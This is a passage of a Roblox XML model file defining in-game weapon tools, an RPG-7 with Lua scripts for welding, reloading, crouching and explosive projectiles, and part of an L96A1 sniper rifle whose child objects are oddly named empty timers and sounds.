	local hum = vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if tool held by a character
	if humanoid ~= hum and hum ~= nil and game.Players:playerFromCharacter(humanoid.Parent) and game.Players:playerFromCharacter(humanoid.Parent).TeamColor~=cc then
		tagHumanoid(humanoid, vPlayer)
		humanoid:TakeDamage(300)
		wait(1)
		untagHumanoid(humanoid)
	end
end


tool.Equipped:connect(onSelect);</ProtectedString>
				</Properties>
				<Item class="BoolValue" referent="RBX6171">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">melee</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX6172">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.400000006</Y>
					<Z>0.300000012</Z>
					<R00>0.957837284</R00>
					<R01>-0</R01>
					<R02>0.287311196</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.287311196</R20>
					<R21>0</R21>
					<R22>0.957837284</R22>
				</CoordinateFrame>
				<string name="Name">RPG-7</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="LocalScript" referent="RBX6173">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
	local W = Instance.new(&quot;Weld&quot;)
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.className == &quot;Part&quot; then
		Weld(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX6174">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
	local W = Instance.new(&quot;Weld&quot;)
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.className == &quot;Part&quot; then
		Weld(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX6175">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-568.200012</X>
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			</Item>
			<Item class="Part" referent="RBX6313">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-568.200012</X>
						<Y>54.9933662</Y>
						<Z>-713.650024</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smoke</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">1</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="BlockMesh" referent="RBX6314">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.100000001</X>
							<Y>0.13333334</Y>
							<Z>0.100000001</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Smoke" referent="RBX6315">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4278190080</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Smoke</string>
						<float name="opacity_xml">0.800000012</float>
						<float name="riseVelocity_xml">2</float>
						<float name="size_xml">0.300000012</float>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX6316">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Shooter</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local weld33 = nil -- right arm
local weld55 = nil -- left arm
local welds = {}
local reloading = false

function ReloadSequence() -- this will be a pain in my blocky butt.
wait(.05)
weld33.C1 = CFrame.new(-0.75, -0.8, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
wait(.05)
local mag2 = Instance.new(&quot;Part&quot;)
mag2.Size = Vector3.new(1,1,1)
mag2.BrickColor = BrickColor.new(&quot;Sand green&quot;)
mag2.Parent = game.Workspace
local magmesh2 = Instance.new(&quot;SpecialMesh&quot;)
magmesh2.Scale = Vector3.new(.6,.6,1.6)
magmesh2.MeshType = &quot;Sphere&quot;
magmesh2.Parent = mag2
local magweld = Instance.new(&quot;Weld&quot;)
leftarm = Tool.Parent[&quot;Left Arm&quot;]
magweld.Parent = mag2
magweld.Part0 = mag2
magweld.Part1 = leftarm
magweld.C0 = CFrame.new(-1,0,0.3)
magweld.C0 = magweld.C0 * CFrame.fromEulerAnglesXYZ(0,0.6,1.6)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(260), -1.2, math.rad(-50))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(270), -1, math.rad(-60))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(280), -0.8, math.rad(-70))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.6, math.rad(-80))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.4, math.rad(-90))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.2, math.rad(-90))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.2, math.rad(-90))
Tool.Handle.Click:play()
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1.1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.2, math.rad(-90))
mag2:remove()
Tool.R1.Transparency = 0
Tool.R2.Transparency = 0
Tool.R3.Transparency = 0
Tool.R4.Transparency = 0
Tool.R5.Transparency = 0
wait(0.3)
weld55.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
weld33.C1 = CFrame.new(-0.75, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
end

function Reload()
	if script.Parent.Ammo.Value &lt; script.Parent.MaxAmmo.Value and reloading == false and script.Parent.StoredAmmo.Value &gt;= 1 then
		reloading = true
		script.Parent.Ammo.Value = 0
		Tool.Handle.Reload:play()
		ReloadSequence()
		-- ...
		if script.Parent.StoredAmmo.Value &gt;= script.Parent.MaxAmmo.Value then
			script.Parent.Ammo.Value = script.Parent.MaxAmmo.Value
			script.Parent.StoredAmmo.Value = script.Parent.StoredAmmo.Value - script.Parent.MaxAmmo.Value
			script.Parent.Recoil.Value = 5
		elseif script.Parent.StoredAmmo.Value &lt; script.Parent.MaxAmmo.Value and script.Parent.StoredAmmo.Value &gt;= 1 then
			script.Parent.Ammo.Value = script.Parent.StoredAmmo.Value
			script.Parent.StoredAmmo.Value = 0
			script.Parent.Recoil.Value = 5
		end
		reloading = false
	end
end

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
falsearm1 = arms[1]:clone()
local mesh1 = Instance.new(&quot;BlockMesh&quot;)
mesh1.Scale = Vector3.new(.9,.9,.9)
mesh1.Parent = falsearm1
local armweld1 = Instance.new(&quot;Weld&quot;)
falsearm1.BrickColor = BrickColor.new(26)
falsearm1.Parent = Tool
armweld1.Parent = falsearm1
armweld1.Part0 = falsearm1
armweld1.Part1 = arms[1]
falsearm2 = arms[2]:clone()
local mesh2 = Instance.new(&quot;BlockMesh&quot;)
mesh2.Scale = Vector3.new(.9,.9,.9)
mesh2.Parent = falsearm2
local armweld2 = Instance.new(&quot;Weld&quot;)
falsearm2.BrickColor = BrickColor.new(26)
falsearm2.Parent = Tool
armweld2.Parent = falsearm2
armweld2.Part0 = falsearm2
armweld2.Part1 = arms[2]
local weld1 = Instance.new(&quot;Weld&quot;) -- left arm
weld55 = weld1
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;) -- right arm
weld33 = weld2
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.75, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

local legs = nil
local torso2 = nil
local welds2 = {}
local bodyforce = nil

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
falsearm1:remove()
falsearm2:remove()
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function fire(v)

	Tool.Handle.Fire:play()
	

	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	local missile = Instance.new(&quot;Part&quot;)

        

	local spawnPos = vCharacter.PrimaryPart.Position
	


	spawnPos  = spawnPos + (v * 8)

	missile.Position = spawnPos
	missile.Size = Vector3.new(1,1,2)
	missile.Velocity = v * 400
	missile.BrickColor = BrickColor.new(26)
	missile.Shape = 0
	missile.BottomSurface = 0
	missile.TopSurface = 0
	missile.Name = &quot;Grenade&quot;
	missile.Elasticity = 0
	missile.Reflectance = 0
	missile.Friction = 0.9
	Tool.Explosion:clone().Parent = missile
   missile.BrickColor = BrickColor.new(&quot;Sand green&quot;)
   local force = Instance.new(&quot;BodyForce&quot;)
	force.force = Vector3.new(0,50,0)
	force.Parent = missile

	local mesh = Instance.new(&quot;SpecialMesh&quot;)
	mesh.Scale = Vector3.new(.6,.6,.6)
	mesh.MeshType = &quot;Sphere&quot;
	mesh.Parent = missile

	local new_script = script.Parent.GrenadeScript:clone()
	new_script.Disabled = false
	new_script.Parent = missile

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)
	creator_tag.Value = vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	


	missile.Parent = game.Workspace

	cam = game.Workspace.CurrentCamera
	local cam_rot = cam.CoordinateFrame - cam.CoordinateFrame.p
	local cam_scroll = (cam.CoordinateFrame.p - cam.Focus.p).magnitude
	local ncf = CFrame.new(cam.Focus.p)*cam_rot*CFrame.fromEulerAnglesXYZ(0.33, 0, 0)
	cam.CoordinateFrame = ncf*CFrame.new(0, 0, cam_scroll)
   weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
	weld55.C1 = CFrame.new(-0.35, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
   Tool.Smoke.Smoke.Enabled = true
   Tool.Smoke1.Smoke.Enabled = true
   Tool.R1.Transparency = 1
   Tool.R2.Transparency = 1
   Tool.R3.Transparency = 1
   Tool.R4.Transparency = 1
   Tool.R5.Transparency = 1
	wait(0.1)
	weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
	weld55.C1 = CFrame.new(-0.35, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
	wait(0.1)
	weld33.C1 = CFrame.new(-0.75, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
	weld55.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
   wait(0.1)
   Tool.Smoke.Smoke.Enabled = false
   Tool.Smoke1.Smoke.Enabled = false
end

function KeyDownFunctions(key)
	if key == &quot;r&quot; then
		Reload()
	end
end

Tool.Enabled = true
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end
	local ammo = script.Parent.Ammo
	local maxammo = script.Parent.MaxAmmo
	if reloading == false and humanoid.Health &gt;= 1 then
		if ammo.Value &gt;= 1 then
			ammo.Value = ammo.Value - 1
			local targetPos = humanoid.TargetPoint
			local lookAt = (targetPos - character.Head.Position).unit
			if script.Parent.Recoil.Value &lt; 20 then
				script.Parent.Recoil.Value = script.Parent.Recoil.Value + math.random(1,3)
			end
			fire(lookAt)
		else
			Reload()
		end
	end
	Tool.Enabled = true
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.KeyDown:connect(KeyDownFunctions)
	while true do
		wait()
		script.Parent.Name = &quot;RPG-7[&quot;..script.Parent.Ammo.Value..&quot;]&quot;
	end
end


Tool.Equipped:connect(onEquippedLocal)


script.Parent.Activated:connect(onActivated)
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="NumberValue" referent="RBX6317">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">Ammo</string>
					<double name="Value">1</double>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX6318">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Looped">false</bool>
					<string name="Name">Explosion</string>
					<float name="Pitch">1</float>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
					<float name="Volume">1</float>
				</Properties>
			</Item>
			<Item class="NumberValue" referent="RBX6319">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">MaxAmmo</string>
					<double name="Value">1</double>
				</Properties>
			</Item>
			<Item class="NumberValue" referent="RBX6320">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">Recoil</string>
					<double name="Value">8</double>
				</Properties>
				<Item class="Script" referent="RBX6321">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<ProtectedString name="Source">while true do
wait(.7)
if script.Parent.Value &gt; 8 then
script.Parent.Value = script.Parent.Value - 1
end
end
</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="NumberValue" referent="RBX6322">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">StoredAmmo</string>
					<double name="Value">99999999999</double>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX6323">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Crouch</string>
					<ProtectedString name="Source">on = 0
Tool = script.Parent
welds = {}
sh = {}
arms = nil
torso = nil
f = nil
function Crouch(ison)
if arms == nil and torso == nil then
arms = {Tool.Parent:FindFirstChild(&quot;Left Leg&quot;), Tool.Parent:FindFirstChild(&quot;Right Leg&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
end
if arms ~= nil and torso ~= nil then
sh = {torso:FindFirstChild(&quot;Left Hip&quot;), torso:FindFirstChild(&quot;Right Hip&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
if ison == 1 then
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.75, 1)
arms[1].Name = &quot;LDave&quot;
arms[1].CanCollide = true
welds[1] = weld1
-------------------------------------------
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(90),0,0)
arms[2].Name = &quot;RDave&quot;
arms[2].CanCollide = true
welds[2] = weld2
---------------------------------
local force = Instance.new(&quot;BodyForce&quot;)
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = &quot;Right Leg&quot;
arms[1].Name = &quot;Left Leg&quot;
welds[1].Parent = nil
welds[2].Parent = nil
end
end
--
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
function Key(key)
if key then
key = string.lower(key)
if (key==&quot;c&quot;) then
if on == 1 then
on = 0
elseif on == 0 then
on = 1
end
Crouch(on)
end
end
end
function Equip(mouse)
mouse.KeyDown:connect(Key)
end
script.Parent.Equipped:connect(Equip)

</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX6324">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">GrenadeScript</string>
					<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position
car = false
lol = false

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game


function blow()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position
	explosion.BlastPressure = 3000
	explosion.BlastRadius = 30


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;creator&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
		explosion.Hit:connect(function(part, distance)  doDamage(part, distance) end)
	end


	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function doDamage(part, distance)
	
	if part.Name == &quot;Regen&quot; then return end

	if part.Parent.className == &quot;Tool&quot; then return end
	if part.Parent.className == &quot;Hat&quot; then return end

	if part.Parent:findFirstChild(&quot;ShellShocked&quot;) ~= nil then return end
	if part.Parent:findFirstChild(&quot;ForceField&quot;) ~= nil then return end

	if part.Name == &quot;Head&quot; then
		local humanoid = part.Parent.Humanoid
		humanoid.Health = humanoid.Health - (130 - distance)
		local ss = Instance.new(&quot;IntValue&quot;)
		ss.Parent = part.Parent
		ss.Name = &quot;ShellShocked&quot;
		game:getService(&quot;Debris&quot;):addItem(ss,2)
	end
end


function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

d = t + 9999999999 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	t = r.Stepped:wait()
end

-- at max range
blow()
script.Parent.Explosion.PlayOnRemove = false
shaft:remove()</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX6325">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>-0.0050099371</R00>
					<R01>0</R01>
					<R02>0.999987423</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.999987423</R20>
					<R21>0</R21>
					<R22>-0.0050099371</R22>
				</CoordinateFrame>
				<string name="Name">L96A1</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="Geometry" referent="RBX6326">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">No samurai plzzz</string>
				</Properties>
				<Item class="Timer" referent="RBX6327">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">odtzmx</string>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX6328">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Deth 2 teh samurai!</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Timer" referent="RBX6329">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">z254k5x</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX6330">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">Part</string>
				</Properties>
				<Item class="Timer" referent="RBX6331">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">odtzmx</string>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX6332">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Deth 2 teh samurai!</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Timer" referent="RBX6333">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">z254k5x</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX6334">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">No samurai plzzz</string>
				</Properties>
				<Item class="Timer" referent="RBX6335">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">odtzmx</string>
					</Properties>
					<Item class="StockSound" referent="RBX6336">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">plfl5epz</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX6337">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Deth 2 teh samurai!</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Timer" referent="RBX6338">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">z254k5x</string>
						</Properties>
						<Item class="StockSound" referent="RBX6339">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">lj9b7v</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX6340">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">zxp6kunzd</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX6341">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Looped">false</bool>
						<string name="Name">acflf7</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX6342">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">No samurai plzzz</string>
				</Properties>
				<Item class="Timer" referent="RBX6343">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">odtzmx</string>
					</Properties>
					<Item class="StockSound" referent="RBX6344">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">plfl5epz</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX6345">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Deth 2 teh samurai!</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Timer" referent="RBX6346">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">z254k5x</string>
						</Properties>
						<Item class="StockSound" referent="RBX6347">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">lj9b7v</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX6348">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
